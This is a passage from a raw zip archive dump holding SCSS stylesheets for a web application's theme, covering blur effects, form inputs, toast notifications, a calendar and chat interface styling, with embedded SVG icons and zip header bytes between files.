0, 0) 60%, rgba(0, 0, 0, 1) 80%); } &:nth-child(7) { backdrop-filter: blur(calc(var(--base-val, 1) * 64px)); mask: linear-gradient(rgba(0, 0, 0, 0) 70%, rgba(0, 0, 0, 1) 100%); } &.reverse { // Reverse version - top to bottom blur &:nth-child(1) { backdrop-filter: blur(calc(var(--base-val, 1) * 64px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 0) 30%); } &:nth-child(2) { backdrop-filter: blur(calc(var(--base-val, 1) * 32px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 20%, rgba(0, 0, 0, 0) 40%); } &:nth-child(3) { backdrop-filter: blur(calc(var(--base-val, 1) * 16px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 10%, rgba(0, 0, 0, 0) 40%); } &:nth-child(4) { backdrop-filter: blur(calc(var(--base-val, 1) * 8px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 20%, rgba(0, 0, 0, 0) 50%); } &:nth-child(5) { backdrop-filter: blur(calc(var(--base-val, 1) * 4px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 30%, rgba(0, 0, 0, 0) 60%); } &:nth-child(6) { backdrop-filter: blur(calc(var(--base-val, 1) * 2px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 40%, rgba(0, 0, 0, 0) 70%); } &:nth-child(7) { backdrop-filter: blur(calc(var(--base-val, 1) * 1px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 60%, rgba(0, 0, 0, 0) 90%); } } } .lqd-progressive-blur-gradient { // background: linear-gradient(transparent, hsl(var(--background)/50%)); } PKJW]¤wòsƒƒ(views/default/scss/components/_form.scssnu„[µü¤@layer base { .lqd-input { border-radius: calc(var(--input-rounded) * var(--input-rounded-multiplier, 1)); } } @keyframes submit { 0% { opacity: 0; transform: scale(0); } 50% { opacity: 1; } 100% { opacity: 0; transform: scale(1); } } select { appearance: none; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3e%3cpath stroke='%236b7280' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='M6 8l4 4 4-4'/%3e%3c/svg%3e"); background-position: right 0.5rem center; background-repeat: no-repeat; background-size: 1.5em 1.5em; padding-right: 2.5rem; -webkit-print-color-adjust: exact; print-color-adjust: exact; &[multiple] { background: none; } } option { color: hsl(var(--heading-foreground)); } .lqd-input-switcher { background-image: var(--switcher-ball); &:checked { background-image: var(--switcher-ball-active); } &.lqd-input-sm { background-size: 0.75rem; } } button { &.submitting { position: relative; overflow: hidden; text-indent: -99999px; &:before { content: ''; display: inline-block; width: 24px; height: 24px; position: absolute; top: calc(50% - 12px); left: calc(50% - 12px); border: 2px solid; border-radius: 100%; animation: submit 1.2s cubic-bezier(0.25, 0.46, 0.45, 0.94) infinite; } svg { display: none; } } } input::file-selector-button { background-color: hsl(var(--foreground) / 0.1); color: hsl(var(--foreground)); border: none; border-radius: 3px; padding: theme('size.1') theme('size.3'); margin-inline-end: theme('size.2'); } .ts-control, .ts-control input, .ts-dropdown { @apply text-foreground sm:text-sm; } .lqd-input { &.ts-wrapper { &.multi { &.has-items { .ts-control { @apply flex flex-wrap gap-0.5 items-center p-0 overflow-auto; >div { @apply bg-foreground/10 text-foreground rounded-full m-0 px-1.5 py-0.5; } } } } &.plugin-remove_button { .item { .remove { border-color: hsl(var(--foreground) / 15%) !important; border-start-end-radius: 10px; border-end-end-radius: 10px; } } } .ts-dropdown { @apply bg-background border-border shadow-lg shadow-black/5 rounded-input; .active { @apply bg-primary/10 text-primary first:rounded-t-input last:rounded-b-input; } } } .ts-control { @apply p-0 h-full border-none bg-transparent; } } .lqd-input-checkbox-custom-wrap { input:checked~& { background-image: url("data:image/svg+xml,%3Csvg%20width%3D%229%22%20height%3D%227%22%20viewBox%3D%220%200%209%207%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M2.55664%205.30859L7.43359%200.431641L8.05664%201.07617L2.55664%206.57617L0%204.01953L0.644531%203.375L2.55664%205.30859Z%22%20fill%3D%22%237A63DF%22%2F%3E%3C%2Fsvg%3E"); background-size: 60%; } } .form-check-input[type='checkbox'] { border-radius: 4px; } .form-selectgroup-input:checked+.form-selectgroup-label { color: #000; border-radius: 30px; background: hsl(var(--primary) / 10%); } .form-selectgroup-label { color: #000; background-color: transparent; } .form-select, .form-control, .input-group-text { padding: 1em 1.23em; } .form-select, .form-control, .input-group-text, .form-label { --tblr-border-color: hsl(var(--border)); font-size: 0.8125rem; font-weight: 500; } .col-form-label, .form-label { color: var(--label); } .form-label { display: flex; gap: 0.25rem; align-items: center; flex-wrap: wrap; margin-bottom: 0.6rem; .lqd-tooltip-container { @apply ms-1 align-middle; } } .input-group-text { display: flex; align-items: center; height: 100%; position: absolute; top: 0; inset-inline-end: 0; border: none; .input-group-flat & { background: none; } } .form-control { .input-group-flat & { &:not(:last-child) { border-right: var(--tblr-border-width) solid hsl(var(--border)); } } } .form-control-sm { padding: 0.125rem 0.25rem; } .form-check { cursor: pointer; } .input-group { > :not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback), &:not(.has-validation)> :not(:last-child):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating) { border-radius: var(--tblr-border-radius); } } .workbook-form { input { border: none !important; } input { padding: 0; font-family: 'Lora', 'serif'; font-size: 21px; background-color: transparent !important; color: hsl(var(--heading-foreground)); &::placeholder { color: hsl(var(--heading-foreground)); } &:focus { outline: none; box-shadow: none; } } } .select2-container--default { .select2-selection--multiple { display: flex; align-items: center; flex-wrap: wrap; background: none; overflow: auto; .select2-selection__rendered { display: flex; flex-wrap: wrap; align-items: center; gap: 0.5rem; margin: 0; } .select2-selection__choice { padding: 2px 10px; margin: 0; border: none; border-radius: 5em; background-color: hsl(var(--foreground) / 7%); color: hsl(var(--foreground)); button { border: none; padding-inline-start: 0; position: relative; } .select2-selection__choice__display { padding: 0; } } } } .select2-container { .select2-search--inline { .select2-search__field { margin-top: 0; } } } .form-switch { display: flex; align-items: center; padding-left: 0; font-weight: 500; .form-check-input { flex-shrink: 0; width: 3rem; height: 1.5rem; border-radius: 1.5rem; margin-left: 0; background-size: 1.3rem; &:checked { background-color: #191919; } } .form-check-label { margin-inline-start: 0.5rem; } } .theme-dark { .form-check-input:not(:checked), .form-control:not([type='search']), .form-file-text, .form-select, .form-selectgroup-check { @apply bg-input-background border-input-border; } .select2-container { .select2-search--inline { .select2-search__field { color: inherit; } } } .form-switch { .form-check-input { &:checked { background-color: hsl(var(--primary)); } } } .form-selectgroup-input:checked+.form-selectgroup-label { background: hsl(var(--primary)); } } .form-input-stepper { @apply lqd-input-stepper appearance-none text-center px-2; } .lqd-input-stepper::-webkit-outer-spin-button, .lqd-input-stepper::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; } /* Firefox */ .lqd-input-stepper[type=number] { -moz-appearance: textfield; } .lqd-input-color-wrap { --cp-size: theme('spacing.5'); --cp-border-color: theme('colors.input.border'); &.color-picker { @apply border-none p-0 rounded-full; border-width: 1px !important; } .cp_button { border-radius: inherit; } .cp_caret { @apply opacity-0; } } html[dir='rtl'] { select { background-position: left 0.5rem center; } } @media (min-width: 992px) { .image-input-for-fillanexample { padding-right: 128px; } } @media (max-width: 565px) { // to prevent ios zoom on focus button[type='submit'], .form-file-text, .form-selectgroup-check, .form-control, .form-input, .form-select { font-size: 16px !important; } } PKJW]‘WÇ**.views/default/scss/components/_split-text.scssnu„[µü¤.lqd-split-unit { background: inherit; } PKJW]/views/default/scss/components/_filter-list.scssnu„[µü¤PKJW]®L+AŠŠ*views/default/scss/components/_toastr.scssnu„[µü¤#toast-container { top: auto; bottom: 45px; left: 50%; right: auto; transform: translateX(-50%); > div { width: auto; opacity: 1; box-shadow: 0 5px 25px rgb(0 0 0 / 5%) !important; padding: 12px 25px 12px 45px; background-size: 22px; font-size: 13px; font-weight: 500; backdrop-filter: blur(10px) saturate(120%); border-radius: 6px; } > .toast-success { background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIGhlaWdodD0iNDgiIHZpZXdCb3g9IjAgOTYgOTYwIDk2MCIgd2lkdGg9IjQ4IiBmaWxsPSIjZmZmIj48cGF0aCBkPSJtNDIxIDc1OCAyODMtMjgzLTQ2LTQ1LTIzNyAyMzctMTIwLTEyMC00NSA0NSAxNjUgMTY2Wm01OSAyMThxLTgyIDAtMTU1LTMxLjV0LTEyNy41LTg2UTE0MyA4MDQgMTExLjUgNzMxVDgwIDU3NnEwLTgzIDMxLjUtMTU2dDg2LTEyN1EyNTIgMjM5IDMyNSAyMDcuNVQ0ODAgMTc2cTgzIDAgMTU2IDMxLjVUNzYzIDI5M3E1NCA1NCA4NS41IDEyN1Q4ODAgNTc2cTAgODItMzEuNSAxNTVUNzYzIDg1OC41cS01NCA1NC41LTEyNyA4NlQ0ODAgOTc2Wm0wLTYwcTE0MiAwIDI0MS05OS41VDgyMCA1NzZxMC0xNDItOTktMjQxdC0yNDEtOTlxLTE0MSAwLTI0MC41IDk5VDE0MCA1NzZxMCAxNDEgOTkuNSAyNDAuNVQ0ODAgOTE2Wm0wLTM0MFoiLz48L3N2Zz4=) !important; } > .toast-error { background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIGhlaWdodD0iNDgiIHZpZXdCb3g9IjAgOTYgOTYwIDk2MCIgd2lkdGg9IjQ4IiBmaWxsPSIjZmZmIj48cGF0aCBkPSJNNDc5Ljk4MiA3NzZxMTQuMDE4IDAgMjMuNTE4LTkuNDgyIDkuNS05LjQ4MyA5LjUtMjMuNSAwLTE0LjAxOC05LjQ4Mi0yMy41MTgtOS40ODMtOS41LTIzLjUtOS41LTE0LjAxOCAwLTIzLjUxOCA5LjQ4Mi05LjUgOS40ODMtOS41IDIzLjUgMCAxNC4wMTggOS40ODIgMjMuNTE4IDkuNDgzIDkuNSAyMy41IDkuNVpNNDUzIDYyM2g2MFYzNzBoLTYwdjI1M1ptMjcuMjY2IDM1M3EtODIuNzM0IDAtMTU1LjUtMzEuNXQtMTI3LjI2Ni04NnEtNTQuNS01NC41LTg2LTEyNy4zNDFRODAgNjU4LjMxOSA4MCA1NzUuNXEwLTgyLjgxOSAzMS41LTE1NS42NTlRMTQzIDM0NyAxOTcuNSAyOTN0MTI3LjM0MS04NS41UTM5Ny42ODEgMTc2IDQ4MC41IDE3NnE4Mi44MTkgMCAxNTUuNjU5IDMxLjVRNzA5IDIzOSA3NjMgMjkzdDg1LjUgMTI3UTg4MCA0OTMgODgwIDU3NS43MzRxMCA4Mi43MzQtMzEuNSAxNTUuNVQ3NjMgODU4LjMxNnEtNTQgNTQuMzE2LTEyNyA4NlE1NjMgOTc2IDQ4MC4yNjYgOTc2Wm0uMjM0LTYwUTYyMiA5MTYgNzIxIDgxNi41dDk5LTI0MVE4MjAgNDM0IDcyMS4xODggMzM1IDYyMi4zNzUgMjM2IDQ4MCAyMzZxLTE0MSAwLTI0MC41IDk4LjgxMlExNDAgNDMzLjYyNSAxNDAgNTc2cTAgMTQxIDk5LjUgMjQwLjV0MjQxIDk5LjVabS0uNS0zNDBaIi8+PC9zdmc+) !important; } > .toast-info { background-image: url(data:image/svg+xml;base64,PHN2ZwogIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICB3aWR0aD0iMjQiCiAgaGVpZ2h0PSIyNCIKICB2aWV3Qm94PSIwIDAgMjQgMjQiCiAgZmlsbD0ibm9uZSIKICBzdHJva2U9IiNmZmYiCiAgc3Ryb2tlLXdpZHRoPSIyIgogIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIKICBzdHJva2UtbGluZWpvaW49InJvdW5kIgo+CiAgPHBhdGggZD0iTTMgMTJhOSA5IDAgMSAwIDE4IDBhOSA5IDAgMCAwIC0xOCAwIiAvPgogIDxwYXRoIGQ9Ik0xMiA5aC4wMSIgLz4KICA8cGF0aCBkPSJNMTEgMTJoMXY0aDEiIC8+Cjwvc3ZnPg==) !important; } > .toast-warning { background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgc3Ryb2tlLXdpZHRoPSIxLjUiPiA8cGF0aCBkPSJNMTIgOXY0Ij48L3BhdGg+IDxwYXRoIGQ9Ik0xMC4zNjMgMy41OTFsLTguMTA2IDEzLjUzNGExLjkxNCAxLjkxNCAwIDAgMCAxLjYzNiAyLjg3MWgxNi4yMTRhMS45MTQgMS45MTQgMCAwIDAgMS42MzYgLTIuODdsLTguMTA2IC0xMy41MzZhMS45MTQgMS45MTQgMCAwIDAgLTMuMjc0IDB6Ij48L3BhdGg+IDxwYXRoIGQ9Ik0xMiAxNmguMDEiPjwvcGF0aD4gPC9zdmc+IA==) !important; } } .toast-success { background-color: rgb(6 80 6 / 80%); } .toast-error { background-color: rgb(91 17 17 / 80%); } .toast-info { background-color: rgb(8 130 171 / 80%); } .toast-warning { background-color: rgb(243 187 50 / 80%); color: #332606 !important; } .theme-dark { .toast-success { background-color: rgb(13 51 13 / 80%); } .toast-error { background-color: rgb(61 7 7 / 80%); } .toast-info { background-color: rgb(7 76 99 / 80%); } .toast-warning { background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjZWNlOWRmIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgc3Ryb2tlLXdpZHRoPSIxLjUiPiA8cGF0aCBkPSJNMTIgOXY0Ij48L3BhdGg+IDxwYXRoIGQ9Ik0xMC4zNjMgMy41OTFsLTguMTA2IDEzLjUzNGExLjkxNCAxLjkxNCAwIDAgMCAxLjYzNiAyLjg3MWgxNi4yMTRhMS45MTQgMS45MTQgMCAwIDAgMS42MzYgLTIuODdsLTguMTA2IC0xMy41MzZhMS45MTQgMS45MTQgMCAwIDAgLTMuMjc0IDB6Ij48L3BhdGg+IDxwYXRoIGQ9Ik0xMiAxNmguMDEiPjwvcGF0aD4gPC9zdmc+IA==) !important; background-color: rgb(220 163 23 / 80%); color: #ece9df !important; } } PKJW] ìÒÒ1views/default/scss/components/_header-search.scssnu„[µü¤@keyframes search-border-play { 0% { transform: rotate(0); } 10% { opacity: 1; } 90% { opacity: 1; } 100% { transform: rotate(360deg); opacity: 0; } } .header-search-border-play-inner { --color-1: hsl(var(--gradient-via)); --color-2: hsl(var(--gradient-from)); background: conic-gradient(from 0deg, transparent 0%, var(--color-1) 20%, var(--color-2) 30%, transparent 40%); animation: search-border-play 4.5s linear 1; } .header-search { --input-rounded-multiplier: 2; } [data-theme=default] { @media (min-width: 1024px) { .lqd-header { .header-search { width: 435px; } } } @media (max-width: 1335px) { .lqd-header { .header-search { width: 300px; } } } } PKJW]\[´êee*views/default/scss/components/_button.scssnu„[µü¤.btn { background-color: var(--tblr-btn-bg); white-space: normal; --tblr-btn-border-radius: 5em; }PKJW]WâÁÔ0views/default/scss/components/_progress-bar.scssnu„[µü¤@keyframes lqd-progress-bar-indeterminate { from { transform: translateX(-100%); } to { transform: translateX(100%) scaleX(0); } } .lqd-progress-bar-indeterminate { animation: lqd-progress-bar-indeterminate 1.75s cubic-bezier(0.31, 0.91, 0.64, 0.98) infinite; }PKJW]á=£R‘‘.views/default/scss/components/_generators.scssnu„[µü¤.lqd-image-generator-stablediffusion-form, .lqd-image-generator-inputs-wrap { button[type=submit] { svg { @apply rtl:rotate-180; } } }PKJW]hàë�°°0views/default/scss/components/_fullcalendar.scssnu„[µü¤:root { --fc-border-color: hsl(var(--border)); --fc-button-bg-color: hsl(var(--primary)); --fc-button-text-color: hsl(var(--primary-foreground)); --fc-button-border-color: hsl(var(--primary)); --fc-button-hover-bg-color: hsl(var(--primary) / 80%); --fc-button-hover-text-color: hsl(var(--primary-foreground)); --fc-today-bg-color: transparent; } .fc { .fc-view-harness { @apply max-sm:min-h-[75vh]; } .fc-header-toolbar { @apply gap-y-4 max-md:flex-wrap; .fc-toolbar-chunk { @apply basis-1/3 flex items-center max-md:w-full max-md:basis-full; &:nth-child(1) { .fc-button-group { @apply gap-4; } .fc-button { @apply px-2 py-0.5 text-2xs font-medium border-none; &.fc-button-active { @apply bg-heading-foreground/5 text-heading-foreground; } } } &:nth-child(2) { @apply md:justify-center max-md:-order-1; } &:nth-child(3) { @apply justify-between md:justify-end; } } .fc-button-group { @apply gap-1.5; } .fc-button { @apply border border-border py-2 px-4 bg-transparent text-heading-foreground text-xs font-medium transition-all capitalize hover:bg-primary hover:text-primary-foreground hover:border-primary disabled:hover:bg-transparent disabled:hover:text-heading-foreground disabled:hover:border-border; border-radius: 100px !important; } .fc-prev-button, .fc-next-button { @apply inline-grid size-[38px] place-items-center p-0; .fc-icon { @apply inline-flex text-base/none; } } .fc-today-button { @apply shadow-xs disabled:shadow-none; } } .fc-toolbar-title { @apply text-lg font-semibold; } .fc-list { @apply border-border rounded-xl; } .fc-list-sticky { .fc-list-day { >* { @apply bg-background rounded-t-xl text-heading-foreground/50; } } } .fc-list-day-cushion { @apply bg-transparent p-4; } .fc-scrollgrid { @apply rounded-xl border-b; } .fc-col-header-cell-cushion { @apply text-heading-foreground/50 py-4; } .fc-daygrid-day { &:nth-last-child(-n+3) { .lqd-event-card { @apply start-auto end-full ms-0; } } } .fc-daygrid-day-number { @apply inline-grid place-items-center text-base size-[30px] p-0 m-1 rounded-full md:m-3; } .fc-day-today { .fc-daygrid-day-number { @apply bg-primary text-primary-foreground font-semibold; } } .fc-event { @apply rounded-[10px] bg-heading-foreground/10 text-heading-foreground text-2xs font-medium p-1.5 border-none z-auto hover:z-10 sm:p-2.5 max-sm:justify-center; .fc-event-main { @apply text-current static; } &:hover { .lqd-event-card { @apply visible translate-y-0 opacity-100; } } &.lqd-event-instagram { background-color: rgb(216 28 100 / 11%); } &.lqd-event-facebook { background-color: rgb(19 208 218 / 14%); } &.lqd-event-linkedin { background-color: rgb(10 120 230 / 12%); } &.lqd-event-tiktok { background-color: rgb(0 0 0 / 5%); } } .fc-timeGridWeek-view, .fc-timeGridDay-view { .fc-scrollgrid-section { // trying to target the all-day section &:first-child { .fc-scroller-harness { &, >.fc-scroller { overflow: visible !important; } } } } } .fc-dayGridMonth-view { .fc-daygrid-body { tr { &:nth-last-child(-n+3) { .lqd-event-card { @apply top-auto bottom-0; } } } } } .fc-timeGridDay-view, .fc-listWeek-view { .fc-event { @apply relative; div.lqd-event-card { @apply top-full bottom-auto start-3 end-auto; } } } .fc-dayGridMonth-view, .fc-timeGridWeek-view { .lqd-event-info { @apply max-sm:hidden; } } } .theme-dark { // DO NOT REMOVE THIS VAR --fc-border-color: hsl(var(--border)); } PKJW]þLÃÕÂÂ(views/default/scss/components/_card.scssnu„[µü¤.card-footer { --tblr-card-cap-padding-y: 1.375rem; background: none; } .subheader { font-size: 0.8125rem; text-transform: none; letter-spacing: normal; font-weight: var(--tblr-font-weight-medium); } .card { --tblr-card-cap-padding-y: 0.75rem; --tblr-card-cap-padding-x: 1.5625rem; --tblr-card-bg: transparent; --tblr-card-border-radius: 12px; } .row-cards { --tblr-gutter-x: 1.5625rem; --tblr-gutter-y: 2.5rem; } .lqd-card { box-shadow: var(--card-shadow); } .lqd-card-shadow, .lqd-card-outline-shadow { --card-shadow: var(--shadow); } .lqd-card-variant-none { box-shadow: none; background-color: transparent; border: none; } .theme-dark { .card { background: transparent; } }PKJW]Æ!žËË+views/default/scss/components/_curtain.scssnu„[µü¤.lqd-curtain-item-title-icon { svg { width: 1em; height: auto; } } .lqd-curtain-item, .lqd-curtain-item-title, .lqd-curtain-item-content, .lqd-curtain-item-content-inner { transition: all 0.65s cubic-bezier(0.23, 1, 0.320, 1); } .lqd-curtain-item-content { transition-property: flex-grow, width, background, color, border, box-shadow; } .lqd-curtain { --items-gap: 30px; --items-count: 3; --items-min-height: 530px; gap: var(--items-gap); } @media (min-width: 992px) { .lqd-curtain-item-content-width-inner { width: var(--active-width, 100%); } .lqd-curtain-item-content { width: 0; flex-grow: 0; overflow: hidden; margin-inline-end: auto; } .lqd-curtain-item { min-height: var(--items-min-height); } .lqd-curtain-item-title-empty { .lqd-curtain-item-title-icon { transform: rotate(-180deg); } } .lqd-curtain-item-active { flex-grow: 1; .lqd-curtain-item-title { width: 0; padding-left: 0 !important; padding-right: 0 !important; } .lqd-curtain-item-content { flex-grow: 1; } } } @media (max-width: 991px) { .lqd-curtain-item-inactive { .lqd-curtain-item-content { display: none; } } .lqd-curtain-item-content { min-height: 350px; } }PKJW]ë½Ö4{{,views/default/scss/components/_skeleton.scssnu„[µü¤@keyframes lqd-loading-skeleton { 100% { transform: translateX(100%); } } .lqd-loading-skeleton { &.lqd-is-loading { [data-lqd-skeleton-el] { min-height: 1em; position: relative; overflow: hidden; background-color: hsl(var(--foreground) / 10%); &:before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; transform: translateX(-100%); background-image: linear-gradient(90deg, transparent 0, rgb(255 255 255 / 20%) 20%, rgb(255 255 255 / 50%) 60%, transparent); animation: lqd-loading-skeleton 1.5s infinite; } } } }PKJW]Þj::,views/default/scss/components/_chats-v2.scssnu„[µü¤.lqd-chat-v2 { --background: 180 5% 96%; --border: 180 3% 92%; --surface-background: 0 0% 100%; --surface-foreground: 0 0% 0%; --card-border: var(--border); --button-border: var(--border); --sidebar-w: 73px; --header-h: 80px; --chats-container-width: 820px; &, .lqd-page-wrapper, .lqd-page-content-container { padding: 0 !important; } .lqd-page, .lqd-page-wrapper, .lqd-page-content-wrap { border-radius: 0 !important; } .conversation-area-wrap, .chats-sidebar-wrap .chats-list-container { @apply bg-transparent rounded-none shadow-none; } .lqd-announcement, .lqd-navbar-expander, .lqd-navbar, .lqd-header { @apply lg:hidden; } .header-user-dropdown { .lqd-dropdown-dropdown { @apply lg:origin-top-right lg:scale-95; } .lqd-dropdown-dropdown-content { >div, >hr { @apply lg:opacity-0 lg:transition-all lg:translate-y-2; } } &.lqd-is-active { .lqd-dropdown-dropdown { @apply lg:scale-100; } .lqd-dropdown-dropdown-content { >div, >hr { @apply lg:opacity-100 lg:translate-y-0; &:nth-child(2) { @apply lg:delay-[25ms]; } &:nth-child(3) { @apply lg:delay-[50ms]; } &:nth-child(4) { @apply lg:delay-[75ms]; } &:nth-child(5) { @apply lg:delay-[100ms]; } &:nth-child(6) { @apply lg:delay-[125ms]; } } } } } .lqd-chat-head { @apply lg:hidden; } .conversation-area { @apply lg:pt-20 } .chats-sidebar-wrap { @apply lg:-translate-x-full lg:transition-all; .chats-new { @apply lg:hidden md:max-lg:p-5; } .chats-search, .chats-list, .chats-sidebar-links { @apply lg:transition-all lg:-translate-x-3 lg:opacity-0 lg:duration-300; } .chats-search { @apply lg:border-none lg:p-0 lg:h-auto lg:mb-4 md:max-lg:py-5; .lqd-input { @apply lg:rounded-xl lg:bg-transparent lg:border lg:border-heading-foreground/5 lg:placeholder:text-heading-foreground/70 lg:ps-4; } svg { @apply lg:start-auto lg:end-4 lg:size-4; } } .chats-list-container { @apply lg:overflow-visible lg:grow lg:h-auto lg:border-none lg:bg-transparent lg:px-7 lg:py-6 lg:row-span-full; } .chat-list-item { @apply lg:before:content-none lg:border-b-0; &.active { .chat-list-item-trigger { @apply lg:bg-heading-foreground/5 lg:ps-3; } .chat-item-title { @apply lg:font-semibold lg:text-heading-foreground; } } &.pin-mode { .lqd-chat-item-trigger-icons { @apply lg:inline; } } } .chat-item-date, .lqd-chat-item-trigger-icons { @apply lg:hidden; } .lqd-chat-item-trigger-icons { @apply lg:shrink-0 lg:order-2; svg { @apply lg:shrink-0 lg:hidden; } .lqd-chat-item-trigger-icon-pin { @apply lg:inline lg:size-5 lg:rotate-[45deg]; } } .chat-list-item-trigger { @apply lg:py-3 lg:pe-3 lg:ps-0 lg:rounded-xl lg:transition-all; } .chat-item-title { @apply lg:text-2xs lg:font-normal lg:text-heading-foreground/70; } &.active { @apply lg:translate-x-0; .chats-search, .chats-list, .chats-sidebar-links { @apply lg:translate-x-0 lg:opacity-100; } .chats-search { @apply lg:delay-100; } .chats-list { @apply lg:delay-150; } .chats-sidebar-links { @apply lg:delay-200; } } } .lqd-chat-category-dropdown { .lqd-chat-category-name { @apply lg:bg-transparent lg:gap-2 lg:p-0 lg:text-heading-foreground; } .lqd-dropdown-trigger { @apply lg:gap-2 lg:z-2 lg:whitespace-nowrap; } .lqd-chat-category-name { >svg { @apply lg:size-[18px] lg:rounded-full lg:border-current lg:border-[1.5px]; } } .lqd-chat-category-role { @apply lg:hidden; } .lqd-chat-category-avatar { @apply lg:hidden lg:size-5 lg:opacity-0; * { @apply lg:hidden; } } .lqd-dropdown-dropdown-search { @apply lg:rounded-lg; } .lqd-dropdown-dropdown { @apply end-0 start-0 rounded-none max-lg:h-[calc(var(--chats-container-height))] max-md:max-h-none lg:pointer-events-auto lg:bg-background lg:visible lg:fixed lg:start-0 lg:top-[var(--ad-h,0px)] lg:z-10 lg:h-screen lg:max-h-none lg:w-[405px] lg:-translate-x-full lg:translate-y-0 lg:opacity-100 lg:duration-200; } .lqd-dropdown-dropdown-content { @apply rounded-none bg-background shadow-none lg:ps-[--sidebar-w] lg:h-full; >div { >div { @apply lg:opacity-0 lg:transition-all lg:-translate-x-2 lg:duration-300; } } } &.lqd-is-active { .lqd-dropdown-dropdown { @apply lg:translate-x-0; } .lqd-dropdown-dropdown-content { >div { >div { @apply lg:opacity-100 lg:translate-x-0 lg:delay-200; &:first-child { @apply lg:delay-100; } } } } } } .chats-container { @apply lg:px-0 lg:w-[--chats-container-width] lg:mx-auto lg:overflow-visible; >.lqd-chat-ai-bubble { @apply only:hidden; } } // .lqd-chat-ai-bubble, // .lqd-chat-user-bubble { // @apply lg:mb-6 // } .lqd-chat-ai-bubble, .lqd-chat-user-bubble, .lqd-chat-image-bubble { @apply relative w-full flex-col rounded-[18px] p-6 before:pointer-events-none before:absolute before:end-full before:top-0 before:z-0 before:h-full before:w-10 md:px-6 md:py-5 lg:mb-6; .chat-content-container { @apply text-heading-foreground; } &:hover { @apply before:pointer-events-auto; .lqd-chat-actions-wrap { @apply visible opacity-100; } } } .chat-content-container { @apply max-w-none grow before:hidden static min-h-0; background: transparent !important; } .chat-content { @apply p-0; img { @apply rounded-lg shadow-2xl shadow-black/5 last:mb-0 first:mt-0 only-of-type:my-0; } } .lqd-chat-ai-bubble { @apply border gap-3 transition-colors; .lqd-chat-avatar { @apply size-6 mt-0; } &.animating-words-done { .multi-model-response-accept { @apply inline-flex; } } } .lqd-chat-user-bubble, .lqd-chat-image-bubble { @apply bg-[#EDEDEF] dark:bg-heading-foreground/10 transition-colors lg:max-w-[80%] lg:w-auto lg:justify-self-end; .lqd-chat-avatar { @apply hidden; } .lqd-chat-sender { @apply hidden gap-0; } } .lqd-chat-sender-name { @apply not-sr-only text-xs font-semibold text-heading-foreground; } .lqd-chat-form-inputs-container { .lqd-realtime-chat-button { @apply md:size-11 md:bg-transparent md:text-heading-foreground md:border md:border-heading-foreground/5 md:outline-none md:hover:bg-primary md:hover:border-primary md:hover:text-primary-foreground max-md:hover:bg-transparent max-md:hover:shadow-none; } } .lqd-audio-vis-wrap { @apply lg:pb-40; } .lqd-chat-actions-wrap { @apply max-lg:start-auto max-lg:-end-1 lg:z-2 lg:end-auto lg:bottom-auto lg:-start-11 lg:top-0; button { @apply lg:bg-background lg:text-heading-foreground lg:size-[34px] lg:border lg:border-solid lg:shadow-none lg:hover:bg-surface-background lg:hover:text-heading-foreground lg:hover:border-surface-background lg:hover:shadow-none; >span { @apply lg:bg-surface-background lg:text-surface-foreground lg:end-auto lg:start-full lg:me-0 lg:ms-1 lg:shadow-none lg:pointer-events-none; } } } // .multi-model-response-wrap { // .lqd-chat-ai-bubble { // @apply mb-0; // } // } #lqd-ext-chatbot-wrap { @apply hidden; } &.theme-dark { --background: 0 0% 8%; --border: 180 3% 15%; --surface-background: 0 0% 22%; --surface-foreground: 0 0% 100%; --card-border: var(--border); --button-border: var(--border); } @media(min-width: 1300px) { .multi-model-response-wrap { width: 1100px; margin-inline-start: calc((1100px - var(--chats-container-width)) / 2 * -1); } } }PKJW]H¤%¦  1views/default/scss/components/_numer-counter.scssnu„[µü¤.lqd-number-counter-numbers-col { mask-image: linear-gradient(to bottom, transparent var(--mask-h), black calc(var(--mask-h) + 0.1lh), black calc(100% - var(--mask-h)), transparent calc(100% - var(--mask-h) + 0.1lh)); } .lqd-number-counter { --mask-h: 0.25lh; } PKJW]L£ÿ<<)views/default/scss/components/_chats.scssnu„[µü¤@property --animating-word-y { syntax: ""; inherits: true; initial-value: 0px; } .chat-content { * { color: currentColor; } code:not([class*=language-]) { @apply bg-background rounded px-1 py-0.5 